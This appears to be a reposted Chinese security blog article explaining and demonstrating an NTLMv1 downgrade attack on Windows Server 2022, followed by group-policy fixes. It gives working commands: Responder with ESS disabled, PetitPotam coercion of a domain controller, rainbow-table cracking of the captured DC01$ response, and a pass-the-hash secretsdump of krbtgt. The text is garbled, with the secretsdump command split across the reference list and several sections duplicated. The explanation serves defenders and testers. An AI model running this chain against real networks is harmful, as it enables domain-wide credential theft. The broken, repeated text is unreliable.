破解降级后的NTLMv1SSP哈希:彩虹表还能这么用

admin 2026-11-17 11:34:58 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

破解降级后的 NTLMv1 SSP 哈希:彩虹表还能这么用

幻泉之洲

2026年11月14日 10:43
北京

去阅读

NTLM 降级攻击不是新话题,但它在 Windows Server 2022 上依然成立。本文拆解攻击链条的四个技术支点——NTLMv1 的计算方式、彩虹表的前提、SSP 的角色、ESS 的可协商性,然后给出完整的降级抓包流程。核心判断是:问题不在协议,在配置。

这条老路为什么又通了

NTLM 降级攻击出现很多年了,针对 Windows Server 2012 这类系统的打法早就写进了各种红队手册。思路很简单:想办法让认证过程回落到 NTLMv1,并且用一个自己指定的挑战值(challenge),拿到响应之后查彩虹表,就能把受害用户或机器账号的原始 NT 哈希还原出来。

Google 威胁情报团队此前专门写过这件事[1],结论也很直接:NTLMv1 配合固定挑战值,等于把密码哈希直接交出去。

后来的情况变复杂了。新版 SMB、ESS(扩展会话安全)的引入,让这条路越来越难走。ESS 会在服务端挑战之外再掺入客户端生成的随机值,彩虹表预先算好的映射关系就对不上了。业界普遍认为 NTLMv1 彩虹表攻击已经基本退出实战舞台。

但实际情况没那么乐观。Windows Server 2022 环境下,只要域配置允许 NTLMv1,降级依然能成功——而且需要的错误配置,和十几年前的 Windows Server 2008 时代一模一样。换句话说,微软在协议层做了加固,但开关还在管理员手里,而很多域里这个开关从来没被关上过。

在进入实战步骤前,有几个概念必须讲清楚,否则后面每一步都会看得云里雾里。

NTLMv1 的哈希是怎么算出来的

从明文密码到 NT 哈希

NT 哈希的生成过程不复杂:把用户的明文密码按 UTF-16 小端序编码,然后做一次 MD4 哈希[2]。得到的 16 字节值,就是后续所有 NTLM 计算的原料。注意,这里没有任何加盐操作,所以同一个密码在任何域里算出来的 NT 哈希都一样。这也是为什么 NT 哈希一旦泄露就等于密码泄露。

挑战-响应的三段式结构

客户端用 NTLMv1 认证时,服务端先发来一个 8 字节挑战值。客户端拿到自己的 16 字节 NT 哈希,把它切成三段 7 字节,每段当作一个独立的 DES 密钥去加密这个挑战值。

为什么是 7 字节?因为 DES 的有效密钥长度就是 56 位,正好 7 个字节[3]。16 字节切三段,前两段各 7 字节,第三段其实只剩 2 字节,补零凑满 7 字节再当密钥用。这个填充细节意味着第三段密钥的熵远低于前两段,也是整个方案被吐槽的地方之一。

加密完成后得到三段密文,分别叫 CT1、CT2、CT3。因为 DES 分组长度是 64 位即 8 字节[3],每段密文都是 8 字节。

DES(key, challenge) -> 8-byte ciphertext

CT1、CT2、CT3 依次拼接,就是 24 字节的 NTLMv1 响应,最终通过网络发给服务端。

彩虹表为什么对 NTLMv1 有效

关键在于:三段密文加密的明文是完全相同的——都是那个挑战值。

只要挑战值固定,比如设成 1122334455667788,那么对于任意一个可能的密钥,它产生的密文就是确定的、可以提前算出来的。攻击者把所有可能的密文和产生它的密钥做成一张映射表,抓到一个响应后直接查表,三段分别查,密钥就出来了,NT 哈希也就到手了。

这套逻辑成立的前提有两个,缺一不可:挑战值已知且固定,以及没有额外的随机因素掺进来。ESS 就是专门用来破坏第二个前提的。

SSP 到底是个什么东西

Security Support Provider(SSP,安全支持提供程序)本质上是 DLL,也叫认证包(Authentication Packages)(https://learn.microsoft.com/en-us/windows/win32/secauthn/authentication-packages),挂载到本地安全机构 LSA 上,实现各种认证协议。它给 Windows 提供的是\"既能当客户端也能当服务端\"的认证逻辑。

这类认证包支持 Kerberos、NTLM 等多种协议。其中负责 NTLM 认证的实现叫 NTLM SSP[4]。

这里有个常见的困惑点。对 Windows Server 2022 做降级攻击时,Responder 这类工具会把抓到的认证尝试显示成 NTLMv1-SSP。很多人以为这是个独立协议,其实不是——它只是说明这次 NTLMv1 认证是由 NTLM 安全支持提供程序处理的。名字里的 SSP 是处理者的名字,不是协议的变种。

ESS:防彩虹表的补丁,但可以谈掉

Extended Session Security(ESS,扩展会话安全)是为 NTLMv1 引入的机制(NTLMv2 原生自带,参见 https://thievi.sh/blog/ntlm-fully-explained-for-security-professionals/#session-keys-and-extended-session-security-ess),目的就一个:让彩虹表失效。

开启 ESS 之后,NTLMv1 响应不再只基于服务端那一个挑战值生成,而是引入客户端生成的挑战值,和服务端挑战拼接后再做运算。多出来的这部分随机性,让预计算变得不可行——你没法提前算出一张覆盖未知客户端随机值的表。

问题在于,ESS 是协商出来的。如果客户端支持标准 NTLMv1,双方可以在协商阶段把 ESS 谈掉,退回不加密话安全的裸 NTLMv1。这个设计给降级攻击留了门:攻击者不需要攻破 ESS,只需要让协商失败。

真正决定成败的那条组策略

控制这个行为的具体组策略设置位于:

Computer Configuration > Windows Settings > Security Settings > Local Policies > Security Options > Network security: LAN Manager authentication level

对照微软文档[5],等级 0 到 2 都允许 NTLMv1 认证,也就等于给这个降级攻击开了绿灯。

说句实话,从安全基线角度看,这个设置早就该统一收到等级 5(仅允许 NTLMv2 并拒绝 LM 与 NTLM)。但域环境里兼容性包袱太重——老 NAS、老打印机、某些遗留应用只认 NTLMv1,于是这条策略被一路放宽,一放就是十几年。这才是 NTLMv1 至今阴魂不散的根本原因。

在 Windows Server 2022 上实操降级

下面是完整流程。目标是一个域控制器 10.0.1.40,环境里 NTLMv1 被允许。

  1. 在 Responder 配置里把挑战值设为 1122334455667788

sudo nano /etc/responder/Responder.conf

  1. 带 --disable-ess 参数启动 Responder

sudo responder -I eth0 -v --disable-ess

  1. 另开一个终端,向域控制器(10.0.1.40)发起认证强制(coerce)

python3 PetitPotam.py 10.0.1.30 10.0.1.40 -u 'user.one' -p 'Password1!'

拿到 NTLMv1 响应之后,把它丢进彩虹表查一遍,NT 哈希就回来了。后面能做什么,取决于这个账号是普通用户还是机器账号——机器账号的哈希往往在域内横向移动时价值更高,因为它能直接用于白银票据(Silver Ticket)一类的攻击。

整个链条里最讽刺的一环是:攻击者没有利用任何零日,没有绕过任何新补丁,只是把一个老配置问题重新捡了起来。ESS 的存在说明微软知道 NTLMv1 有问题,但把最终决定权交给了运维。等级 0 到 2 这种宽松设置只要还在生产域里躺着,彩虹表就还有用武之地。

第 4 步,拿 NTLMv1-SSP 哈希。判断标准很直白:抓到的哈希里,LM 段和 NT 段如果完全一致,说明降级成功。

DC01$::SECURE:4DBD276D5641A2D2F9F23E99FB5D821560ED917EFD9C717F:4DBD276D5641A2D2F9F23E99FB5D821560ED917EFD9C717F:1122334455667788

还原 NT 哈希

拿到响应只是原料,真正要的是 NT 哈希。整个过程分四步,工具链不复杂,麻烦的是理解每一步在算什么。

第一步,把 NTLMv1 响应拆成两段密文。NTLMv1 的响应结构里,LM 响应和 NT 响应分开存放,每段又由三个 7 字节的分组经 DES 加密后拼成 24 字节。拆的时候按这个结构来:

python3 ntlmv1.py --ntlmv1 DC01$::SECURE:4DBD276D5641A2D2F9F23E99FB5D821560ED917EFD9C717F:4DBD276D5641A2D2F9F23E99FB5D821560ED917EFD9C717F:1122334455667788

CT1: 4DBD276D5641A2D2
CT2: F9F23E99FB5D8215
CT3: 60ED917EFD9C717F

第二步,把拆出来的密文喂给彩虹表。这里用的是针对 NTLMv1 预计算的表,表里存的是“挑战加密文”到“NT 哈希片段”的映射。NTLMv1 的加密过程没有加盐,同一个挑战下同一段哈希永远算出同一段密文,预计算才有意义。

./crackalack\_lookup ~/ntlmv1-tables/tables/ ~/DES

第三步,把彩虹表吐出来的片段拼回完整的 NT 哈希。DES 每组 7 字节,三组拼起来是 21 字节,但 NT 哈希是 16 字节,中间要做截断和补齐。工具会处理,命令大致是:

CT1: 4dbd276d5641a2d2 -> f85e2fa1cb8cec
CT2: f9f23e99fb5d8215 -> 3b19aebfa2faa9
CT3: 60ed917efd9c717f -> 1f920000000000

CT1 + CT2 + first two bytes of CT3 = f85e2fa1cb8cec3b19aebfa2faa91f92

第四步,哈希传递(Pass the Hash)。到这一步已经不需要明文密码,直接拿 NT 哈希去认证。域里只要还有机器接受 NTLM 认证,这一步就能横向过去。

impacket-secretsdump 'secure.local/DC01

四步里最花时间的是第二步。彩虹表的体积和覆盖率直接决定成败,公开表通常覆盖的是常见密码空间;碰上长密码或者随机密码,表再大也可能空手而归。所以这条链路的实际成功率,取决于目标域的密码策略有多松。反过来说,表里查不到,攻击者也能退回在线爆破,只是慢得多,也更容易被锁定策略逮住。

为什么这套能成

认证顺序是反的。DC01$ 是客户端,Responder 是服务端——攻击者伪装成服务端,等着域控来连。

强制认证之后,DC01$ 在连接 Responder 时发 NTLMSSP\_NEGOTIATE,里面请求启用 ESS(Extended Session Security,扩展会话安全)。ESS 的设计目的就是给 NTLM 补上客户端挑战,让响应里多一个只有双方知道的变量,彩虹表就没法预计算了。

Responder 启动时带了 --disable-ess,它在 NTLMSSP\_CHALLENGE 响应里直接表示不支持 ESS。协商是双向的,客户端说要,服务端说没有,结果就是 ESS 被关掉。

ESS 协商结束,DC01$ 退回标准 NTLMv1 认证。响应里不再计算客户端挑战,LM Response 和 NTLM Response 两个字段因此完全相同——这也是前面判断降级成功的依据。

这里有个容易被忽略的点:ESS 的强制力来自协商,不是单方面声明。客户端可以请求,服务端可以拒绝,拒绝的代价只是降级,连接照样继续。攻击者控制了服务端,等于手里握着一个降级开关。域里就算配了 ESS 相关策略,只要协商阶段能被拉回来,策略就形同虚设。这跟靠注册表把等级调到 0 到 2 是两条路:一条是配置本来就松,一条是配置看着紧但协议允许退。后者更难查,因为日志里看到的是一次“正常”的 NTLM 认证。

修复

跟前面几条 NTLM 降级路径一样,首要动作没变:用组策略强制 NTLMv2。


Computer Configuration > Windows Settings > Security Settings > Local Policies > Security Options > Network security: LAN Manager authentication level > Send NTLMv2 response only.

注册表里这个设置叫 LmCompatibilityLevel,“仅发送 NTLMv2 响应”对应的值是 3。位置在:

HKLM\System\CurrentControlSet\Control\Lsa\LmCompatibilityLevel

这两项是最低配置。最强的配置是组策略里的“仅发送 NTLMv2 响应,拒绝 LM 和 NTLM”,对应注册表值 5。

3 和 5 的差别值得说清楚。3 是“我不发弱响应”,5 是“我不发,也不收”。只推到 3,等于自己不递刀,但别人递过来的刀还接着。生产域里推 5 会打断一堆老设备——老打印机、老 NAS、只懂 NTLMv1 的嵌入式盒子——运维的犹豫可以理解。可攻击窗口就藏在这个犹豫里。只要域里还有一台机器接受 NTLMv1,前面那套拆密文、查表、拼哈希的流程就还能跑通。

说实话,这事儿没有中间路线。要么域里彻底没有 NTLMv1,要么就得假设攻击者已经拿到了能查表的哈希。等级 3 只是把门关了一条缝,门还在。

参考资料

  • LM、NTLM、Net-NTLMv2 的关系梳理[6]
  • NTLM 词条[7]
  • DES 词条[3]
  • Google Cloud 威胁情报博客:Net-NTLMv1 弃用与彩虹表[1]
  • Windows 横向移动研究 PDF[8]
  • 微软文档:系统提供的 SSP 包[9]
  • 写给安全从业者的 NTLM 全解[10]
  • 微软协议文档:MS-NLMP[11]
  • NTLMv1 与 NTLMv2 对比[12]
  • 组策略:网络安全 LAN Manager 身份验证级别[5]
  • PetitPotam[13]
  • Responder[14]
  • 微软文档:Microsoft NTLM[4]
  • 微软文档:Authentication Packages[15]

@10.0.1.40 -hashes ':f85e2fa1cb8cec3b19aebfa2faa91f92' -just-dc-user krbtgt

四步里最花时间的是第二步。彩虹表的体积和覆盖率直接决定成败,公开表通常覆盖的是常见密码空间;碰上长密码或者随机密码,表再大也可能空手而归。所以这条链路的实际成功率,取决于目标域的密码策略有多松。反过来说,表里查不到,攻击者也能退回在线爆破,只是慢得多,也更容易被锁定策略逮住。

为什么这套能成

认证顺序是反的。DC01$ 是客户端,Responder 是服务端——攻击者伪装成服务端,等着域控来连。

强制认证之后,DC01$ 在连接 Responder 时发 NTLMSSP\_NEGOTIATE,里面请求启用 ESS(Extended Session Security,扩展会话安全)。ESS 的设计目的就是给 NTLM 补上客户端挑战,让响应里多一个只有双方知道的变量,彩虹表就没法预计算了。

Responder 启动时带了 --disable-ess,它在 NTLMSSP\_CHALLENGE 响应里直接表示不支持 ESS。协商是双向的,客户端说要,服务端说没有,结果就是 ESS 被关掉。

ESS 协商结束,DC01$ 退回标准 NTLMv1 认证。响应里不再计算客户端挑战,LM Response 和 NTLM Response 两个字段因此完全相同——这也是前面判断降级成功的依据。

这里有个容易被忽略的点:ESS 的强制力来自协商,不是单方面声明。客户端可以请求,服务端可以拒绝,拒绝的代价只是降级,连接照样继续。攻击者控制了服务端,等于手里握着一个降级开关。域里就算配了 ESS 相关策略,只要协商阶段能被拉回来,策略就形同虚设。这跟靠注册表把等级调到 0 到 2 是两条路:一条是配置本来就松,一条是配置看着紧但协议允许退。后者更难查,因为日志里看到的是一次“正常”的 NTLM 认证。

修复

跟前面几条 NTLM 降级路径一样,首要动作没变:用组策略强制 NTLMv2。

Computer Configuration > Windows Settings > Security Settings > Local Policies > Security Options > Network security: LAN Manager authentication level > Send NTLMv2 response only.

注册表里这个设置叫 LmCompatibilityLevel,“仅发送 NTLMv2 响应”对应的值是 3。位置在:

HKLM\System\CurrentControlSet\Control\Lsa\LmCompatibilityLevel

这两项是最低配置。最强的配置是组策略里的“仅发送 NTLMv2 响应,拒绝 LM 和 NTLM”,对应注册表值 5。

3 和 5 的差别值得说清楚。3 是“我不发弱响应”,5 是“我不发,也不收”。只推到 3,等于自己不递刀,但别人递过来的刀还接着。生产域里推 5 会打断一堆老设备——老打印机、老 NAS、只懂 NTLMv1 的嵌入式盒子——运维的犹豫可以理解。可攻击窗口就藏在这个犹豫里。只要域里还有一台机器接受 NTLMv1,前面那套拆密文、查表、拼哈希的流程就还能跑通。

说实话,这事儿没有中间路线。要么域里彻底没有 NTLMv1,要么就得假设攻击者已经拿到了能查表的哈希。等级 3 只是把门关了一条缝,门还在。

参考资料

  • LM、NTLM、Net-NTLMv2 的关系梳理[6]
  • NTLM 词条[7]
  • DES 词条[3]
  • Google Cloud 威胁情报博客:Net-NTLMv1 弃用与彩虹表[1]
  • Windows 横向移动研究 PDF[8]
  • 微软文档:系统提供的 SSP 包[9]
  • 写给安全从业者的 NTLM 全解[10]
  • 微软协议文档:MS-NLMP[11]
  • NTLMv1 与 NTLMv2 对比[12]
  • 组策略:网络安全 LAN Manager 身份验证级别[5]
  • PetitPotam[13]
  • Responder[14]
  • 微软文档:Microsoft NTLM[4]
  • 微软文档:Authentication Packages[15]

参考资料

[1] https://cloud.google.com/blog/topics/threat-intelligence/net-ntlmv1-deprecation-rainbow-tables/

[2] https://en.wikipedia.org/wiki/NTLM#Protocol

[3] https://en.wikipedia.org/wiki/Data\_Encryption\_Standard

[4] https://learn.microsoft.com/en-us/windows/win32/secauthn/microsoft-ntlm

[5] https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/security-policy-settings/network-security-lan-manager-authentication-level

[6] https://medium.com/@petergombos/lm-ntlm-net-ntlmv2-oh-my-a9b235c58ed4

[7] https://en.wikipedia.org/wiki/NTLM

[8] https://attl4s.github.io/assets/pdf/Understanding\_Windows\_Lateral\_Movements\_2023.pdf

[9] https://learn.microsoft.com/en-us/windows/win32/secauthn/ssp-packages-provided-by-microsoft

[10] https://thievi.sh/blog/ntlm-fully-explained-for-security-professionals

[11] https://learn.microsoft.com/en-us/openspecs/windows\_protocols/ms-nlmp/b38c36ed-2804-4868-a9ff-8dd3182128e4

[12] https://www.praetorian.com/blog/ntlmv1-vs-ntlmv2/

[13] https://github.com/topotam/PetitPotam

[14] https://github.com/lgandx/Responder

[15] https://learn.microsoft.com/en-us/windows/win32/secauthn/authentication-packages

[16] https://hunio.org/security/ntlmv1-ssp-cracking/

评论:0   参与:  0